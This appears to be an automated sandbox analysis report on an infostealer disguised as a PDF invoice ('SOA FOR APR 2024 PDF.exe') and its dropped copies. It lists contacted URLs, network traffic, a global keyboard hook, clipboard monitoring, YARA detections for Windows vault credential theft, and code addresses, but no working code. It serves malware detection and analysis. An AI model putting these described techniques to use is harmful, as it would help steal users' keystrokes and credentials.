Source: eeBIYZL.exe, 0000000E.00000002.3275604629.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c6
Source: SOA FOR APR 2024 PDF.exe, 00000009.00000002.3326899826.0000000006497000.00000004.00000020.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3275075106.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.00000000028B4000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.000000000296A000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.0000000002894000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3275604629.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3282284281.0000000002EB4000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3275604629.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3326328315.0000000006A5C000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.000000000351E000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3326328315.0000000006AA9000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.0000000003504000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.00000000035C4000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3276901832.00000000016CF000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3278778403.0000000001713000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3283970574.0000000003244000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3322622943.00000000066A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: SOA FOR APR 2024 PDF.exe, 00000000.00000002.2071533656.00000000048BB000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3273741870.0000000000435000.00000040.00000400.00020000.00000000.sdmp, eeBIYZL.exe, 0000000A.00000002.2132450490.0000000003FAE000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 0000000F.00000002.2229738944.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000015.00000002.2316615219.00000000045FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: SOA FOR APR 2024 PDF.exe, 00000000.00000002.2071533656.00000000048BB000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3273741870.0000000000435000.00000040.00000400.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.0000000002811000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000A.00000002.2132450490.0000000003FAE000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3282284281.0000000002E11000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 0000000F.00000002.2229738944.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.000000000348C000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000015.00000002.2316615219.00000000045FC000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3283970574.00000000031C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.0000000002811000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3282284281.0000000002E11000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.000000000348C000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3283970574.00000000031C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.0000000002811000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3282284281.0000000002E11000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.000000000348C000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3283970574.00000000031C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49723 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.raw.unpack, 8WWn.cs	.Net Code: UOFvW
Source: 0.2.SOA FOR APR 2024 PDF.exe.48f62c8.7.raw.unpack, 8WWn.cs	.Net Code: UOFvW

Installs a global keyboard hook

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Windows user hook set: 0 keyboard low level C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\eeBIYZL.exe
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Window created: window name: CLIPBRDWNDCLASS
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Window created: window name: CLIPBRDWNDCLASS
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Window created: window name: CLIPBRDWNDCLASS

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.SOA FOR APR 2024 PDF.exe.48f62c8.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 15.2.BjTxJte.exe.4bec170.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 15.2.BjTxJte.exe.4c27190.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 21.2.BjTxJte.exe.45fc310.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 10.2.eeBIYZL.exe.3fe9420.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 21.2.BjTxJte.exe.4637330.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 10.2.eeBIYZL.exe.3fae400.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 15.2.BjTxJte.exe.4bec170.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 15.2.BjTxJte.exe.4c27190.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.SOA FOR APR 2024 PDF.exe.48f62c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 10.2.eeBIYZL.exe.3fe9420.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 21.2.BjTxJte.exe.4637330.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 10.2.eeBIYZL.exe.3fae400.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 21.2.BjTxJte.exe.45fc310.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 0_2_00E1E3B4	0_2_00E1E3B4
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 0_2_04F40FD4	0_2_04F40FD4
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 0_2_04F424DA	0_2_04F424DA
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 0_2_04F40518	0_2_04F40518
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 0_2_04F40508	0_2_04F40508
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 0_2_070C7538	0_2_070C7538
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 0_2_070C08B0	0_2_070C08B0
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 0_2_070CC5B8	0_2_070CC5B8
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 0_2_070CA4E8	0_2_070CA4E8
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 0_2_070C2117	0_2_070C2117
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 0_2_070C2141	0_2_070C2141
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 0_2_070C2150	0_2_070C2150
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 0_2_070CC16F	0_2_070CC16F
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 0_2_070CC180	0_2_070CC180
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 0_2_070CA0B0	0_2_070CA0B0
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 0_2_070CA920	0_2_070CA920
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 0_2_070C3800	0_2_070C3800
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 0_2_070C3810	0_2_070C3810
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 0_2_070C089F	0_2_070C089F
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 0_2_0D3B1D78	0_2_0D3B1D78
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_00F041F8	9_2_00F041F8
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_00F0A998	9_2_00F0A998
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_00F04AC8	9_2_00F04AC8
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_00F0EB18	9_2_00F0EB18
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_00F0ADF8	9_2_00F0ADF8
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_00F03EB0	9_2_00F03EB0
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_00F0CF6F	9_2_00F0CF6F
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_066B2750	9_2_066B2750
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_066B5568	9_2_066B5568
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_066B7D48	9_2_066B7D48
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_066BC138	9_2_066BC138
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_066BB1F8	9_2_066BB1F8
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_066B65C8	9_2_066B65C8
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_066B7668	9_2_066B7668
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_066BE360	9_2_066BE360
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_066B0040	9_2_066B0040
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_066B5CC0	9_2_066B5CC0
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_067AEEC0	9_2_067AEEC0
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_067A1DC8	9_2_067A1DC8
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_067A1DC5	9_2_067A1DC5
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 10_2_009FE3B4	10_2_009FE3B4
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 10_2_05027538	10_2_05027538
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 10_2_0502C5B8	10_2_0502C5B8
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 10_2_0502A4E8	10_2_0502A4E8
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 10_2_05022117	10_2_05022117
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 10_2_05022141	10_2_05022141
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 10_2_05022150	10_2_05022150
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 10_2_0502C16F	10_2_0502C16F
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 10_2_0502C180	10_2_0502C180
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 10_2_0502A0B0	10_2_0502A0B0
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 10_2_0502A920	10_2_0502A920
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 10_2_05023800	10_2_05023800
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 10_2_05023810	10_2_05023810
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 10_2_0502089F	10_2_0502089F
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 10_2_050208B0	10_2_050208B0
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 10_2_087215B0	10_2_087215B0
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_02C64AC8	14_2_02C64AC8
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_02C6EB08	14_2_02C6EB08
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_02C63EB0	14_2_02C63EB0
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_02C6ADF8	14_2_02C6ADF8
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_02C641F8	14_2_02C641F8
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_06A72750	14_2_06A72750
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_06A765C8	14_2_06A765C8
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_06A75568	14_2_06A75568
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_06A77D48	14_2_06A77D48
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_06A7B1F8	14_2_06A7B1F8
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_06A7C138	14_2_06A7C138
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_06A77668	14_2_06A77668
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_06A75CC0	14_2_06A75CC0
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_06A7E360	14_2_06A7E360
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_06A70040	14_2_06A70040
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_06B61DC3	14_2_06B61DC3
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_06B61DC8	14_2_06B61DC8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 15_2_0149E3B4	15_2_0149E3B4
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 15_2_099C08B0	15_2_099C08B0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 15_2_099C7538	15_2_099C7538
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 15_2_099CA920	15_2_099CA920
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 15_2_099C089F	15_2_099C089F
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 15_2_099C3810	15_2_099C3810
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 15_2_099C3800	15_2_099C3800
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 15_2_099CC180	15_2_099CC180
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 15_2_099C2150	15_2_099C2150
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 15_2_099C2141	15_2_099C2141
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 15_2_099CC16F	15_2_099CC16F
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 15_2_099CA0B0	15_2_099CA0B0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 15_2_099CC5B8	15_2_099CC5B8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 15_2_099CA4E8	15_2_099CA4E8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 15_2_0D8B1830	15_2_0D8B1830
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_01E7A54D	20_2_01E7A54D
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_01E7E9E8	20_2_01E7E9E8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_01E74AC8	20_2_01E74AC8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_01E73EB0	20_2_01E73EB0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_01E741F8	20_2_01E741F8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_01E7ACD8	20_2_01E7ACD8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_06F43438	20_2_06F43438
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_06F465D0	20_2_06F465D0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_06F45570	20_2_06F45570
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_06F47D50	20_2_06F47D50
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_06F4B1F0	20_2_06F4B1F0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_06F4C140	20_2_06F4C140
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_06F47670	20_2_06F47670
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_06F45CB7	20_2_06F45CB7
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_06F4E368	20_2_06F4E368
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_06F40040	20_2_06F40040
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_07031DC2	20_2_07031DC2
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_07031DC8	20_2_07031DC8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_06F40007	20_2_06F40007
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 21_2_00CCE3B4	21_2_00CCE3B4
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 21_2_04DE0FD4	21_2_04DE0FD4
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 21_2_04DE24D6	21_2_04DE24D6
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 21_2_04DE0518	21_2_04DE0518
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 21_2_04DE0508	21_2_04DE0508
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 21_2_04DE7828	21_2_04DE7828
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 21_2_05487538	21_2_05487538
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 21_2_0548C5B8	21_2_0548C5B8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 21_2_0548A4E8	21_2_0548A4E8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 21_2_05482141	21_2_05482141
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 21_2_05482150	21_2_05482150
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 21_2_0548C16F	21_2_0548C16F
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 21_2_0548C180	21_2_0548C180
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 21_2_0548A0B0	21_2_0548A0B0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 21_2_0548A920	21_2_0548A920
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 21_2_05483800	21_2_05483800
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 21_2_05483810	21_2_05483810
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 21_2_0548089F	21_2_0548089F
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 21_2_054808B0	21_2_054808B0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 21_2_0D1A1780	21_2_0D1A1780
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 24_2_0153A500	24_2_0153A500
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 24_2_0153E9B0	24_2_0153E9B0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 24_2_01534AC8	24_2_01534AC8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 24_2_0153ACD8	24_2_0153ACD8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 24_2_01533EB0	24_2_01533EB0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 24_2_015341F8	24_2_015341F8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 24_2_06E73438	24_2_06E73438
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 24_2_06E765D0	24_2_06E765D0
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 24_2_06E75570	24_2_06E75570
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 24_2_06E77D50	24_2_06E77D50
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 24_2_06E7B200	24_2_06E7B200
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 24_2_06E7C140	24_2_06E7C140
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 24_2_06E77670	24_2_06E77670
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 24_2_06E75CC8	24_2_06E75CC8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 24_2_06E7E368	24_2_06E7E368
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 24_2_06E70040	24_2_06E70040
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 24_2_06F61DC2	24_2_06F61DC2
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 24_2_06F61DC8	24_2_06F61DC8
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 24_2_06E70006	24_2_06E70006

Source: SOA FOR APR 2024 PDF.exe	Static PE information: Resource name: RT_VERSION type: MacBinary, comment length 97, char. code 0x69, total length 1711304448, Wed Mar 28 22:22:24 2040 INVALID date, modified Tue Feb 7 01:41:58 2040, creator ' ' "4"
Source: eeBIYZL.exe.0.dr	Static PE information: Resource name: RT_VERSION type: MacBinary, comment length 97, char. code 0x69, total length 1711304448, Wed Mar 28 22:22:24 2040 INVALID date, modified Tue Feb 7 01:41:58 2040, creator ' ' "4"

Source: SOA FOR APR 2024 PDF.exe, 00000000.00000002.2075783842.0000000006BE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePowerShell.EXEj% vs SOA FOR APR 2024 PDF.exe
Source: SOA FOR APR 2024 PDF.exe, 00000000.00000002.2070082705.0000000000E4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SOA FOR APR 2024 PDF.exe
Source: SOA FOR APR 2024 PDF.exe, 00000000.00000002.2077429263.0000000009CB0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs SOA FOR APR 2024 PDF.exe
Source: SOA FOR APR 2024 PDF.exe, 00000000.00000002.2071533656.00000000048BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamec0fe0520-5c7a-42ab-a1ed-336010ccc94a.exe4 vs SOA FOR APR 2024 PDF.exe
Source: SOA FOR APR 2024 PDF.exe, 00000000.00000002.2070759087.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamec0fe0520-5c7a-42ab-a1ed-336010ccc94a.exe4 vs SOA FOR APR 2024 PDF.exe
Source: SOA FOR APR 2024 PDF.exe, 00000000.00000002.2075783842.0000000006C0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameHYv.exe" vs SOA FOR APR 2024 PDF.exe
Source: SOA FOR APR 2024 PDF.exe, 00000000.00000002.2071533656.0000000004557000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs SOA FOR APR 2024 PDF.exe
Source: SOA FOR APR 2024 PDF.exe, 00000009.00000002.3274870194.0000000000AF8000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs SOA FOR APR 2024 PDF.exe
